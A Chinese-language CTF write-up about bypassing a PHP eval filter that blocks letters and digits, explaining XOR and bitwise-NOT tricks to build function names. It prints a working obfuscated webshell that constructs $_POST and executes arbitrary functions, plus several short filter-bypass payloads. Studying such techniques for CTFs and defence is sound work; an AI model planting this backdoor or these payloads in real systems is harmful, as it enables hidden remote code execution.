记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)
0x01 前言
最近在做代码审计的工作中遇到了一个难题,题目描述如下:
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
这一串代码描述是这样子,我们要绕过A-Za-z0-9这些常规数字、字母字符串的传参,将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数名,这里我们是 "getFlag",然后动态执行之即可。
那么,我们需要考虑的问题是如何通过各种变换,使得我们能够去成功读取到getFlag函数,然后拿到webshell。
0x02 前置知识铺垫
在理解这篇文章之前,我们首先需要大家了解的是PHP中异或(^)的概念。
我们先看一下下面这段代码:
<?php
echo "A"^"?";
?>
运行结果如下:

我们可以看到,输出的结果是字符"~"。之所以会得到这样的结果,是因为代码中对字符"A"和字符"?"进行了异或操作。在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。
比如像上面这个例子
A的ASCII值是65,对应的二进制值是01000001
?的ASCII值是63,对应的二进制值是00111111
异或的二进制的值是01111110,对应的ASCII值是126,对应的字符串的值就是~了
我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:
<?php
function B(){
echo "Hello Angel_Kitty";
}
$_++;
$__= "?" ^ "}";
$__();
?>
代码执行结果如下:

我们一起来分析一下上面这段代码:
- `$_++; `这行代码的意思是对变量名为`"_"`的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
- `$__="?" ^ "}"; `对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量
- `$ __ (); `通过上面的赋值操作,变量`\$__`的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello Angel_Kitty。在PHP中,我们可以将字符串当作函数来处理。
看到这里,相信大家如果再看到类似的PHP后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。
我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。
下面是个非常简单的非数字字母的PHP后门:
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
在这里我说明下,.=是字符串的连接,具体参看php语法
我们甚至可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
0x03 问题分析
对于文章开始遇到的那道难题,最开始我们的想法是通过构造异或来去绕过那串字符,但由于最后构造的字串远远超过了长度len=40,然后我们最后放弃了~~
我们该如何构造这个字串使得长度小于40呢?
我们最终是要读取到那个getFlag函数,我们需要构造一个_GET来去读取这个函数,我们最终构造了如下字符串:
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
可能很多小伙伴看完前置知识后仍然无法理解这段字符串是如何构造的吧,我们就对这段字符串进行段分析
①构造_GET读取
首先我们得知道_GET由什么异或而来的,经过我的尝试与分析,我得出了下面的结论:
<?php
echo "`{{{"^"?<>/";//_GET
?>
这段代码一大坨是啥意思呢?因为40个字符长度的限制,导致以前逐个字符异或拼接的webshell不能使用。
这里可以使用php中可以执行命令的反引号` ` 和Linux下面的通配符?
?代表匹配一个字符- ` 表示执行命令
- " 对特殊字符串进行解析
由于?只能匹配一个字符,这种写法的意思是循环调用,分别匹配。我们将其进行分解来看
<?php
echo "{"^"<";
?>
输出结果为:

<?php
echo "{"^">";
?>
输出结果为:

<?php
echo "{"^"/";
?>
输出结果为:

所以_GET就是这么被构造出来的
②获取_GET参数
如何获取呢?咱们可以构造出如下字串:
<?php
echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__])
?>
根据前面构造的来看,$_已经变成了_GET。
顺理成章的来讲,$_ = _GET这个字符串。
我们构建$_GET[ __ ]是为了要获取参数值
③传入参数
此时我们只需要去调用getFlag函数获取webshell就好了,构造如下:
<?php
echo $_=getFlag;//getFlag
?>
所以把参数全部连接起来,就可以了~~
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
结果如下:

我们就成功读取到了flag~~
补充
我似乎看到了一些大佬对这题的骚操作,我也补充一下吧~~
有个payloads是这样子:
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
这个是把getFlag取反然后URL编码
然后我们看看下一个payloads:
?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
~ 在 {} 中执行了取反操作,所以 ${~"\xa0\xb8\xba\xab"} 取反相当于 $_GET,拼接出了 $_GET['+']();,传入 +=getFlag() 从而执行了函数
再看看下面这种骚操作:
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
$啊=getFlag;$啊();,这里就不需要用 {} 了,因为取反的值直接被当作字符串赋值给了 $ 啊。
下面这个是梅子酒师傅在评论区提供的一个payloads,我也补上:

0x04 扩展阅读
我给大家推荐几篇写的比较好的,方便大家能更进一步的理解这个东西。
- https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
- http://php.net/manual/zh/language.operators.increment.php
记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)的更多相关文章
- 记一次学习kibaba踩过的坑(Windows环境)
下载地址 ElasticSearch:https://www.elastic.co/cn/downloads/elasticsearchLogstash:https://www.elastic.co/ ...
- 记一次Socket编程踩的坑
闲来无事研究了下Socket,想用它做个简单的聊天室模型,结果踩了个坑,整半天才出来,惭愧啊,先上完成的代码吧 服务端: public partial class Form1 : Form { pub ...
- 记一次ftp服务器搭建走过的坑
记一次ftp服务器搭建走过的坑 1.安装 ①下载 wget https://security.appspot.com/downloads/vsftpd-3.0.3.tar.gz #要FQ ②解压 ta ...
- [问题解决]RedHat7更换CentOS7的yum源时踩过的坑
更换yum源的流程 查看当前yum程序 $ rpm -qa|grep yum 这里推荐将其结果截屏或拷贝出来,以免后面报错修复. 删除原有yum源 $ rpm -aq | grep yum|xargs ...
- 项目中踩过的坑之-sessionStorage
总想写点什么,却不知道从何写起,那就从项目中踩过的坑开始吧,希望能给可能碰到相同问题的小伙伴一点帮助. 项目情景: 有一个id,要求通过当前网页打开一个新页面(不是当前页面),并把id传给打开的新页面 ...
- web开发实战--弹出式富文本编辑器的实现思路和踩过的坑
前言: 和弟弟合作, 一起整了个智慧屋的小web站点, 里面包含了很多经典的智力和推理题. 其实该站点从技术层面来分析的话, 也算一个信息发布站点. 因此在该网站的后台运营中, 富文本的编辑器显得尤为 ...
- Nancy总结(二)记一次Nancy 框架中遇到的坑
记一次Nancy 框架中遇到的坑 前几天,公司一个项目运行很久的Nancy框架的网站,遇到了一个很诡异的问题.Session 对象跳转到另外一个页面的时候,session对象被清空了,导致用户登录不上 ...
- "开发路上踩过的坑要一个个填起来————持续更新······(7月30日)"
欢迎转载,请注明出处! https://gii16.github.io/learnmore/2016/07/29/problem.html 踩过的坑及解决方案记录在此篇博文中! 个人理解,如有偏颇,欢 ...
- 【转载】Fragment 全解析(1):那些年踩过的坑
http://www.jianshu.com/p/d9143a92ad94 Fragment系列文章:1.Fragment全解析系列(一):那些年踩过的坑2.Fragment全解析系列(二):正确的使 ...
随机推荐
- ccf--20140903--字符串匹配
本题思路简单 题目和代码如下: 问题描述 试题编号: 201409-3 试题名称: 字符串匹配 时间限制: 1.0s 内存限制: 256.0MB 问题描述: 问题描述 给出一个字符串和多行文字,在这些 ...
- 第 16 章 C 预处理器和 C 库(可变参数:stdarg.h)
/*------------------------------------------------- varargs.c -- use variable number of arguments -- ...
- vue中使用baidushare分享到微信无法显示bug解决方案
最近vue单页面项目中有个页面分享的功能需求,按以往经验,选择了百度开源的baidushare.js 经过一天的挣扎,终于弄清楚了分享到微信后无法显示的原因. 对比分析: 以往成功使用:另写了一个专门 ...
- B+ Tree vs B Trees
原文地址:https://blog.csdn.net/dashuniuniu/article/details/51072795 引子 最近一直回顾自己曾经写的一些文档,有一篇是关于 Clang Rew ...
- Java中关于AbstractQueuedSynchronizer的入门(一)
备注:博文仅仅是学习过程中的零散记录,后期整理. AbstractQueuedSynchronizer的简单介绍可以网上搜索,简单了解字段作用. 示例代码,分析获取锁的过程: import java. ...
- P1057 传球游戏
题目描述 上体育课的时候,小蛮的老师经常带着同学们一起做游戏.这次,老师带着同学们一起做传球游戏. 游戏规则是这样的: nnn 个同学站成一个圆圈,其中的一个同学手里拿着一个球,当老师吹哨子时开始传球 ...
- 转 jeecg3.5中多数据源的配置
官方微信有介绍通过web界面配置的方法:浅谈jeecg多数据源的使用,没试过不知道能不能用. 如果要手工配置也是可以的 在spring-mvc-hibernate.xml这个配置文件中增加一个数据源, ...
- VsCode源码编译运行
参考链接官方文档:https://github.com/Microsoft/vscode/wiki/How-to-Contribute 一.准备环境 Git Node.js(64位,>= 8.1 ...
- SSM框架之整合(Maven实例)
有不少朋友在maven中因为pom文件依赖的事导致报错 今天我这个快速搭建ssm框架,确保在jdk7或者jdk8的环境,tomcat没什么要求.但如果要用jdk8的话,最好用run as中的serve ...
- MongoDB数据库中更新与删除数据
MongoDB数据库中更新与删除数据 在MongoDB数据库中,可以使用Collection对象的update方法更新集合中的数据文档.使用方法如下所示: collection.update(sele ...